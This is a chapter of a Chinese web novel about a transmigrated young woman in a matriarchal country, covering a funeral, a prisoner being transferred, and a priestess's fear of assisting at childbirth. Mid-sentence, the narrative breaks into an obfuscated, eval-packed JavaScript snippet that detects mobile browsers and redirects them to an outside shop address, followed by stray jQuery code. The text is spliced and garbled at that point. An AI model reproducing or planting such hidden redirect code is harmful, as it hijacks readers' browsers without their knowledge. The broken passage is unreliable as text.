12.生产

作品:《大胆!这可是女尊

    王老二的葬礼,安葭也参加了。


    本以为会有大席吃,结果只是一群人简单慰问了一下,没吃上饭不说,还搭上一份礼。


    想起现实世界,安葭姥爷的葬礼,一家人整整忙活了一礼拜,光是席面就吃了三天。


    当然,吃席的也全是男人,像她们这些女辈,大都安排在劳动岗位,什么孝衣孝帽的缝制,菜品布置,洗盘子碗,收拾祭堂,采买物资,招待来客……….


    等全都布置好了,葬礼正式开始时,忙碌的女人们就全被赶到了末梢,吃饱喝足的男人们上场,象征性地表演一下,然后抬着棺材哭嚎着走了,留下一堆烂摊子还是女人的事。


    安葭不禁感叹:“就这简简单单送走一条人命,有点唏嘘。”


    一同前来的少秋接话:“那你还想怎样,真正在意的只有死者的家人,其她人表现得再不舍再深情,也只是给外人作秀罢了!”


    “哎,你们孝民的葬礼是怎么举行的?”


    “第一,我现在已经正式挂名祭司,不要总是你们孝民你们孝民的,显得你挺高贵似的!”少秋忍不住嚷道:“第二,生死之事属于天意,相比之下,生远比死来得更隆重,不管是西凉人还是孝民,大家都会将资源精力放在对生的庆祝上。”


    安葭连忙认错:“对对对,是我孤陋寡闻,就是想了解一下孝民的情况,毕竟以后会多有接触。哎,少秋,你是因为什么才想当祭司的。”


    “还能因为什么,当然是想入籍了!”少秋说着不知从哪掏出枚果子,咔滋咔滋地啃起来:“你也知道我们孝民生得多,家里蛇鼠一窝,别看同住一个屋檐下,其实谁看谁都不顺眼,与其跟她们斗来斗去,倒不如出卖自己三十年,换来一世高枕无忧。”


    这里说一下西凉国的法律规则,只要通过考试,孝民也能当祭司,在祭庙干够三十年,便能获得西凉国民籍领月饷吃公粮。但是跟当兵挣军功相比,祭司的籍贯是不允许继承的,如果未来退役后生育,她的女儿依旧没有籍贯。


    “姐妹间也会有斗争吗?”


    “那当然,女人又不是圣人,你多吃了口饭她多干了点活,鸡毛蒜皮的小事全是矛盾,但说到底还是生得太多,家里太穷导致。”


    说到这,少秋吐了口皮摇头:“我们孝民说到底,见识太短!西凉人家里都有个扛事的老族长,我们家的老辈子全都愚昧无知,还爱跟女儿们争权夺利,讨厌得很!”


    “她们从小没接受过教育,大半辈子都在逃难,肯定不能指望她们懂事识礼。”


    “下一辈也百搭。”少秋难得一见的严肃:“年轻的孝民入不了籍,读不成书,愚昧世世代代都根除不了。”


    “是唉~”安葭也跟着发愁起来。


    越是穷越是爱生,越是生越是不重视教育,导致孝民只能作为底层人,用劳动和时间换顿饭,永远都摆脱不了困境。


    而像少秋这样幸运的,当了祭司入了籍,却无法生育。


    这个时候,迎面跑来一个气喘吁吁的妇人,她激动地抓住少秋催促:“司徒!快,快去——我三姨生了,快去呀!”


    少秋被她吓了一头汗,急道:“怎么现在才来找我们,早干什么去了!”


    “预产期提前了,我三姨今早还上街呢,这会儿羊水都破了。”


    “别墨迹了,赶紧走着——”少秋立马扯着妇人的胳膊开跑。


    跑一半又折回来,嘱托安葭:“安小借你们驴车一用,帮忙去隔壁镇请产婆,记住一定要快!”


    祭司主管生活,凡是生和活都在她们的职责范围内,其中生产和养育尤为重要。


    每个地方的产婆有限,尤其是冬夏两季,因为和农忙不冲突,所以大家都爱把预产期安排在这几天,导致人手常常不够。因此帮忙接产成了每个祭司的必修课,然而少秋一接产就紧张,平常天不怕地不怕的人,遇到生孩子就腿软。


    安葭也不敢耽误,匆匆赶回衙门牵驴车。


    结果到了衙门,发现大门口来了一队陌生人,秦世妤正跟那群人交涉。


    “秦县令,我们也是秉公办事,上面有命令必须将人带回去。”


    秦世妤颇为生气,但却毫无办法,她只能咬牙道:“死者今天刚下葬,凶手就逃过了制裁,真是可笑!”


    “那也是没办法嘛~秦县令你保重,有没有什么话要捎给丞相的啊?”来者很嚣张,她笑着朝秦世妤拱拱手。


    安葭看到秦世妤脸都黑了,于是及时出面打断谈话:“县令有急事,赶紧的!”


    那人不好再留,带着队伍走了。


    安葭问:“这些人干什么的?”


    “上面发命令,说吴姑是都城的人,案子必须要转到都城审查,她们把吴姑带走了。”


    “啊?那不就是变相的给吴姑逃罪嘛!等到了都城,说不定就随便找个理由把人给放了。”


    秦世妤呼口气,问她:“有什么急事?”


    安葭忙道:“差点忘了,黎家有妇人快生了,祭司借驴车接产婆过去!”


    “不行太赶,一来一回时间都耽搁了。”秦世妤快步回到书房,从里面翻出人员登记信息:“五里外有一家养猪的农户,姓左,她们家有女人学习接生三年,虽然还没通过考试,但也可应急,你现在就去接她过来!”


    种地和养猪向来是农耕文化的标配,西凉国有很多专业的养猪世家,她们因为给母猪接产熟练,后面便会转岗当月嫂或者产婆。


    月嫂和产婆在西凉国是极其受尊敬的,素有救命神姥之美称。一个专业的产婆兼具妇科,产科,儿科,内科,急救等多项医学技能,一个月嫂相当于营养师,护理师,儿童医生,妇科医生等等多方面人才,只有经验足够丰富,能力足够出众者才能胜任,其地位不言而喻。


    左家的产婆已经五十多岁了,但精神气十足,身材高瘦,眼睛如鹰般犀利,双手细长而光洁,皮上没有一片老茧,这样的手掏起胎盘时,才不会划伤产妇的内脏。


    等安葭带着左婆赶到黎家,未进大门,屋内已经已经听到婴儿的啼哭声,左婆肃杀的脸色随即放缓道:“还好,这胎稳了。”


    果然,听里面的人叫喜,生了生了!是个女儿!


    安葭放下心,便没有跟产婆进去,留院子里等待。


    院子里跪着一个男人,旁边还守着个女人,正疑惑这俩是干什么的,就见早上找她们的妇人掀帘出来,对站着的女人行了一礼。


    “实为是大幸!黎家有后,我们自此便是亲家了!”


    女人也回礼恭贺:“贺喜贺喜,母子平安,便是天姥保佑哇!”


    二人客套一番,黎妇拿出早就准备好的礼金,分别赠予女人和男人,男人磕头谢礼,随后跟着女人离开了。


    人一走,院内便空了出来,除了屋内的喧闹,安葭还听到有隐隐的呜咽声,不似婴儿的啼哭。


    她循着声音来到了走廊尽头的拐角,见少秋满身鲜血地站在那里痛哭不止。


    “少秋?”安葭忙过去询问:“你怎么了?”


    少秋手上的血迹还没干涸,滴滴答答的溅在鞋面上,她抽搐着摇头呜咽,仿佛无家可归的小孩,可怜极了。


    安葭这人最见不得别人哭,她的泪腺向来发达,稍稍一感染便红了眼眶,她轻轻搂住少秋的肩膀安慰:“发生什么事了?孩子不是生不来了吗?”


    安葭以为少秋是担心产妇的安危,结果少秋哽咽道:“太可怕了安小!呜呜——太可怕了,我再也不接生了,呜呜呜……….”


    “怕什么,女人生孩子而已。”


    少秋挣脱开她,举着血淋淋的手嚷道:“什么叫女人生孩子,你知道那场景有多可怕吗!就像一个怪物从人类的身体里爬出,你,你不懂的,还好我是祭司我不会生孩子……….”


    “可你是祭司必须要参与接生啊~”


    “算了,跟你这家伙说不清。”被安葭这一打岔,少秋


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841825|190601||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也没心思哭了,闷闷地回到院子里洗手。


    古月儿神采奕奕地从屋里出来,她也好不到哪,身上全是血渍,站水管前稍微冲了一下,便去嘲讽少秋:“怂样,每次接产都来这一出,你家里人口那么多,怎么看女人生个孩子就吓成鹌鹑了?”


    “那能一样吗,她们生孩子从不让我们进去的。”少秋嘟囔道。


    “过两天黎家还有女人要生,你做好准备吧。”


    少秋脸撮到一起,痛苦道:“我这就去跟师傅说,俺回家不干了!”


    产妇这是第二胎,风险相对应会小很多,黎家接下来要生的是个年轻女人,第一次怀孕,左婆特意去她家检查了一下。


    第二位产妇名叫黎明华,她跟外姓的妹妹祥玉一块儿生活,和别家不同,黎明华的院子只有她们两个,都是二十多岁的年纪,虽没男夫伺候,但依旧将家收拾得干干净净。


    安葭和左婆过去后,祥玉还特意将两人请到正堂吃茶,黎明华坐在榻边,笑眯眯地摸着肚子,问左婆胎儿状态可好。


    左婆替她把了脉,又摸了下胎位,琢磨半天也没说什么,只嘱咐俩人提前预约产婆,她毕竟是个实习的新手,很多事情拿不准。


    回去路上,左婆一直不说话,等到家了才告诉安葭她的担忧。


    “黎家那女人的胎位有点问题,你记得去提醒一下她们,别忘了请产婆给她们诊断。”


    “好。”


    第二天,安葭又去了一趟黎家,她这人没啥一技之长,就是听话可靠,答应的事绝对要做到。


    祥玉给开了门,她很高兴安小的关心。


    一个新生命的到来,让初为人母的两人倍感幸福,她们给安小介绍了婴儿睡的小床,还有成套成套的衣服,甚至怕孩子奶不够吃,还去羊场预定了两只羊。


    黎明华个子不太高,因为怀孕脸上长了好多斑,盛夏天热,上身只穿了件薄薄的汗衫,小小的身材托着高高的肚子,虽然走路有些辛苦,但依旧兴奋地展示她的成果。


    她说母亲去世的早,自己跟着姨姥长大,祥玉是自己的至交,未来她们的女儿会组成新的家族。


    说自己会教孩子作诗画画,祥玉腿脚功夫好可以教孩子练武,她们要带孩子去游历世界,开拓眼界……….


    安葭沉浸在她们的幸福中,不禁也幻想着未来的美好,如果能做两人的孩子,那该有多幸福。


    在安葭的记忆里,自己的出生像是母鸡下了个蛋般无足轻重,如她爹说的,多她一个不多,少她一个不少。


    她妈的地位很低,安葭是她妈唯一可控制的人,每次家里人给她那怂包妈气受,这个委屈的母亲便会用尽恶毒的词汇,去贬低谩骂安葭。


    小时候,安葭恨极了母亲,她恨这个女人的残忍疯癫。


    后来长大,安葭又同情母亲,她同情这个女人的绝望无助。


    再然后,安葭恶心母亲,她恶心这个女人的欺软怕硬,卑躬屈膝。


    她讨厌母爱,哪怕是游戏中安母的关爱,她也下意识的抵触,母爱这种东西像是一滩黏糊糊的大鼻涕,不管冷热都让人反胃。


    安葭听了一会祥玉和黎明华的谈话,又提醒了一编产婆的事,便离开了。


    人在极度匮乏的状态下,心理会变得格外扭曲,安葭觉得自己产生了许多危险的情绪,像是咕嘟咕嘟往外冒的下水道,那些忮忌与偏见淹住了大脑。


    还是走吧,不然自己会忍不住说些刻薄的话,只有回到同样匮乏的秦世妤跟少秋身旁,她才能找到些许平衡。


    她就是忍不住想问,只能在心里发问。


    她想问黎明华和祥玉,如果你们生的是个男儿呢?


    会不会对他的性别失望?会不会觉得自己没本事生不出女儿?会不会后悔生了他?


    你们还准备教他诗词绘画,教他练武,带他游历大千世界吗?


    如果提前知道性别?你们会选择堕掉怀胎十月的男儿吗?